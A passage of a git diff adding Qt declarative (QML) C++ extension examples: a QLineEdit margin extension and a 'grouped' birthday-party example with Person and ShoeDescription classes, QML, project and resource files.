+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "lineedit.h"
+#include <qdeclarative.h>
+
+LineEditExtension::LineEditExtension(QObject *object)
+: QObject(object), m_lineedit(static_cast<QLineEdit *>(object))
+{
+}
+
+int LineEditExtension::leftMargin() const
+{
+ int l, r, t, b;
+ m_lineedit->getTextMargins(&l, &t, &r, &b);
+ return l;
+}
+
+void LineEditExtension::setLeftMargin(int m)
+{
+ int l, r, t, b;
+ m_lineedit->getTextMargins(&l, &t, &r, &b);
+ m_lineedit->setTextMargins(m, t, r, b);
+}
+
+int LineEditExtension::rightMargin() const
+{
+ int l, r, t, b;
+ m_lineedit->getTextMargins(&l, &t, &r, &b);
+ return r;
+}
+
+void LineEditExtension::setRightMargin(int m)
+{
+ int l, r, t, b;
+ m_lineedit->getTextMargins(&l, &t, &r, &b);
+ m_lineedit->setTextMargins(l, t, m, b);
+}
+
+int LineEditExtension::topMargin() const
+{
+ int l, r, t, b;
+ m_lineedit->getTextMargins(&l, &t, &r, &b);
+ return t;
+}
+
+void LineEditExtension::setTopMargin(int m)
+{
+ int l, r, t, b;
+ m_lineedit->getTextMargins(&l, &t, &r, &b);
+ m_lineedit->setTextMargins(l, m, r, b);
+}
+
+int LineEditExtension::bottomMargin() const
+{
+ int l, r, t, b;
+ m_lineedit->getTextMargins(&l, &t, &r, &b);
+ return b;
+}
+
+void LineEditExtension::setBottomMargin(int m)
+{
+ int l, r, t, b;
+ m_lineedit->getTextMargins(&l, &t, &r, &b);
+ m_lineedit->setTextMargins(l, t, r, m);
+}
+
+
diff --git a/examples/declarative/cppextensions/referenceexamples/extended/lineedit.h b/examples/declarative/cppextensions/referenceexamples/extended/lineedit.h
new file mode 100644
index 00000000..b0b37a1b
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/extended/lineedit.h
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef LINEEDIT_H
+#define LINEEDIT_H
+
+#include <QLineEdit>
+
+class LineEditExtension : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int leftMargin READ leftMargin WRITE setLeftMargin NOTIFY marginsChanged)
+ Q_PROPERTY(int rightMargin READ rightMargin WRITE setRightMargin NOTIFY marginsChanged)
+ Q_PROPERTY(int topMargin READ topMargin WRITE setTopMargin NOTIFY marginsChanged)
+ Q_PROPERTY(int bottomMargin READ bottomMargin WRITE setBottomMargin NOTIFY marginsChanged)
+public:
+ LineEditExtension(QObject *);
+
+ int leftMargin() const;
+ void setLeftMargin(int);
+
+ int rightMargin() const;
+ void setRightMargin(int);
+
+ int topMargin() const;
+ void setTopMargin(int);
+
+ int bottomMargin() const;
+ void setBottomMargin(int);
+signals:
+ void marginsChanged();
+
+private:
+ QLineEdit *m_lineedit;
+};
+
+#endif // LINEEDIT_H
diff --git a/examples/declarative/cppextensions/referenceexamples/extended/main.cpp b/examples/declarative/cppextensions/referenceexamples/extended/main.cpp
new file mode 100644
index 00000000..f8fd6d0d
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/extended/main.cpp
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QApplication>
+#include <QDeclarativeEngine>
+#include <QDeclarativeComponent>
+#include <QDebug>
+#include <QLineEdit>
+#include "lineedit.h"
+
+int main(int argc, char ** argv)
+{
+ QApplication app(argc, argv);
+
+ qmlRegisterExtendedType<QLineEdit, LineEditExtension>("People", 1,0, "QLineEdit");
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl("qrc:example.qml"));
+ QLineEdit *edit = qobject_cast<QLineEdit *>(component.create());
+
+ if (edit) {
+ edit->show();
+ return app.exec();
+ } else {
+ qWarning() << component.errors();
+ return 0;
+ }
+}
diff --git a/examples/declarative/cppextensions/referenceexamples/grouped/birthdayparty.cpp b/examples/declarative/cppextensions/referenceexamples/grouped/birthdayparty.cpp
new file mode 100644
index 00000000..85904a88
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/grouped/birthdayparty.cpp
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "birthdayparty.h"
+
+BirthdayParty::BirthdayParty(QObject *parent)
+: QObject(parent), m_host(0)
+{
+}
+
+Person *BirthdayParty::host() const
+{
+ return m_host;
+}
+
+void BirthdayParty::setHost(Person *c)
+{
+ m_host = c;
+}
+
+QDeclarativeListProperty<Person> BirthdayParty::guests()
+{
+ return QDeclarativeListProperty<Person>(this, m_guests);
+}
+
+int BirthdayParty::guestCount() const
+{
+ return m_guests.count();
+}
+
+Person *BirthdayParty::guest(int index) const
+{
+ return m_guests.at(index);
+}
+
diff --git a/examples/declarative/cppextensions/referenceexamples/grouped/birthdayparty.h b/examples/declarative/cppextensions/referenceexamples/grouped/birthdayparty.h
new file mode 100644
index 00000000..3d109379
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/grouped/birthdayparty.h
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef BIRTHDAYPARTY_H
+#define BIRTHDAYPARTY_H
+
+#include <QObject>
+#include <QDeclarativeListProperty>
+#include "person.h"
+
+class BirthdayParty : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(Person *host READ host WRITE setHost)
+ Q_PROPERTY(QDeclarativeListProperty<Person> guests READ guests)
+ Q_CLASSINFO("DefaultProperty", "guests")
+public:
+ BirthdayParty(QObject *parent = 0);
+
+ Person *host() const;
+ void setHost(Person *);
+
+ QDeclarativeListProperty<Person> guests();
+ int guestCount() const;
+ Person *guest(int) const;
+
+private:
+ Person *m_host;
+ QList<Person *> m_guests;
+};
+
+
+#endif // BIRTHDAYPARTY_H
diff --git a/examples/declarative/cppextensions/referenceexamples/grouped/example.qml b/examples/declarative/cppextensions/referenceexamples/grouped/example.qml
new file mode 100644
index 00000000..864dc5de
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/grouped/example.qml
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import People 1.0
+
+// ![0]
+BirthdayParty {
+ host: Boy {
+ name: "Bob Jones"
+ shoe { size: 12; color: "white"; brand: "Nike"; price: 90.0 }
+ }
+
+ Boy {
+ name: "Leo Hodges"
+ shoe { size: 10; color: "black"; brand: "Reebok"; price: 59.95 }
+ }
+ // ![1]
+ Boy {
+ name: "Jack Smith"
+ shoe {
+ size: 8
+ color: "blue"
+ brand: "Puma"
+ price: 19.95
+ }
+ }
+ // ![1]
+ Girl {
+ name: "Anne Brown"
+ shoe.size: 7
+ shoe.color: "red"
+ shoe.brand: "Marc Jacobs"
+ shoe.price: 699.99
+ }
+}
+// ![0]
diff --git a/examples/declarative/cppextensions/referenceexamples/grouped/grouped.pro b/examples/declarative/cppextensions/referenceexamples/grouped/grouped.pro
new file mode 100644
index 00000000..93406b64
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/grouped/grouped.pro
@@ -0,0 +1,17 @@
+TEMPLATE = app
+TARGET = grouped
+DEPENDPATH += .
+INCLUDEPATH += .
+QT += declarative
+
+# Input
+SOURCES += main.cpp \
+ person.cpp \
+ birthdayparty.cpp
+HEADERS += person.h \
+ birthdayparty.h
+RESOURCES += grouped.qrc
+target.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/grouped
+sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS grouped.pro
+sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/grouped
+INSTALLS += target sources
diff --git a/examples/declarative/cppextensions/referenceexamples/grouped/grouped.qrc b/examples/declarative/cppextensions/referenceexamples/grouped/grouped.qrc
new file mode 100644
index 00000000..e2fa01d5
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/grouped/grouped.qrc
@@ -0,0 +1,5 @@
+<!DOCTYPE RCC><RCC version="1.0">
+<qresource>
+ <file>example.qml</file>
+</qresource>
+</RCC>
diff --git a/examples/declarative/cppextensions/referenceexamples/grouped/main.cpp b/examples/declarative/cppextensions/referenceexamples/grouped/main.cpp
new file mode 100644
index 00000000..04a73a2a
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/grouped/main.cpp
@@ -0,0 +1,85 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QCoreApplication>
+#include <QDeclarativeEngine>
+#include <QDeclarativeComponent>
+#include <QDebug>
+#include "birthdayparty.h"
+#include "person.h"
+
+int main(int argc, char ** argv)
+{
+ QCoreApplication app(argc, argv);
+
+ qmlRegisterType<BirthdayParty>("People", 1,0, "BirthdayParty");
+ qmlRegisterType<ShoeDescription>();
+ qmlRegisterType<Person>();
+ qmlRegisterType<Boy>("People", 1,0, "Boy");
+ qmlRegisterType<Girl>("People", 1,0, "Girl");
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl("qrc:example.qml"));
+ BirthdayParty *party = qobject_cast<BirthdayParty *>(component.create());
+
+ if (party && party->host()) {
+ qWarning() << party->host()->name() << "is having a birthday!";
+
+ if (qobject_cast<Boy *>(party->host()))
+ qWarning() << "He is inviting:";
+ else
+ qWarning() << "She is inviting:";
+
+ Person *bestShoe = 0;
+ for (int ii = 0; ii < party->guestCount(); ++ii) {
+ Person *guest = party->guest(ii);
+ qWarning() << " " << guest->name();
+
+ if (!bestShoe || bestShoe->shoe()->price() < guest->shoe()->price())
+ bestShoe = guest;
+ }
+ if (bestShoe)
+ qWarning() << bestShoe->name() << "is wearing the best shoes!";
+
+ } else {
+ qWarning() << component.errors();
+ }
+
+ return 0;
+}
diff --git a/examples/declarative/cppextensions/referenceexamples/grouped/person.cpp b/examples/declarative/cppextensions/referenceexamples/grouped/person.cpp
new file mode 100644
index 00000000..b9dafbd9
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/grouped/person.cpp
@@ -0,0 +1,118 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "person.h"
+
+ShoeDescription::ShoeDescription(QObject *parent)
+: QObject(parent), m_size(0), m_price(0)
+{
+}
+
+int ShoeDescription::size() const
+{
+ return m_size;
+}
+
+void ShoeDescription::setSize(int s)
+{
+ m_size = s;
+}
+
+QColor ShoeDescription::color() const
+{
+ return m_color;
+}
+
+void ShoeDescription::setColor(const QColor &c)
+{
+ m_color = c;
+}
+
+QString ShoeDescription::brand() const
+{
+ return m_brand;
+}
+
+void ShoeDescription::setBrand(const QString &b)
+{
+ m_brand = b;
+}
+
+qreal ShoeDescription::price() const
+{
+ return m_price;
+}
+
+void ShoeDescription::setPrice(qreal p)
+{
+ m_price = p;
+}
+
+Person::Person(QObject *parent)
+: QObject(parent)
+{
+}
+
+QString Person::name() const
+{
+ return m_name;
+}
+
+void Person::setName(const QString &n)
+{
+ m_name = n;
+}
+
+ShoeDescription *Person::shoe()
+{
+ return &m_shoe;
+}
+
+
+Boy::Boy(QObject * parent)
+: Person(parent)
+{
+}
+
+
+Girl::Girl(QObject * parent)
+: Person(parent)
+{
+}
+
diff --git a/examples/declarative/cppextensions/referenceexamples/grouped/person.h b/examples/declarative/cppextensions/referenceexamples/grouped/person.h
new file mode 100644
index 00000000..da648bb6
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/grouped/person.h
@@ -0,0 +1,107 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PERSON_H
+#define PERSON_H
+
+#include <QObject>
+#include <QColor>
+
+class ShoeDescription : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int size READ size WRITE setSize)
+ Q_PROPERTY(QColor color READ color WRITE setColor)
+ Q_PROPERTY(QString brand READ brand WRITE setBrand)
+ Q_PROPERTY(qreal price READ price WRITE setPrice)
+public:
+ ShoeDescription(QObject *parent = 0);
+
+ int size() const;
+ void setSize(int);
+
+ QColor color() const;
+ void setColor(const QColor &);
+
+ QString brand() const;
+ void setBrand(const QString &);
+
+ qreal price() const;
+ void setPrice(qreal);
+private:
+ int m_size;
+ QColor m_color;
+ QString m_brand;
+ qreal m_price;
+};
+
+class Person : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QString name READ name WRITE setName)
+// ![1]
+ Q_PROPERTY(ShoeDescription *shoe READ shoe)
+// ![1]
+public:
+ Person(QObject *parent = 0);
+
+ QString name() const;
+ void setName(const QString &);
+
+ ShoeDescription *shoe();
+private:
+ QString m_name;
+ ShoeDescription m_shoe;
+};
+
+class Boy : public Person
+{
+ Q_OBJECT
+public:
+ Boy(QObject * parent = 0);
+};
+
+class Girl : public Person
+{
+ Q_OBJECT
+public:
+ Girl(QObject * parent = 0);
+};
+
+#endif // PERSON_H
diff --git a/examples/declarative/cppextensions/referenceexamples/methods/birthdayparty.cpp b/examples/declarative/cppextensions/referenceexamples/methods/birthdayparty.cpp
new file mode 100644
index 00000000..bb3168b6
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/methods/birthdayparty.cpp
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
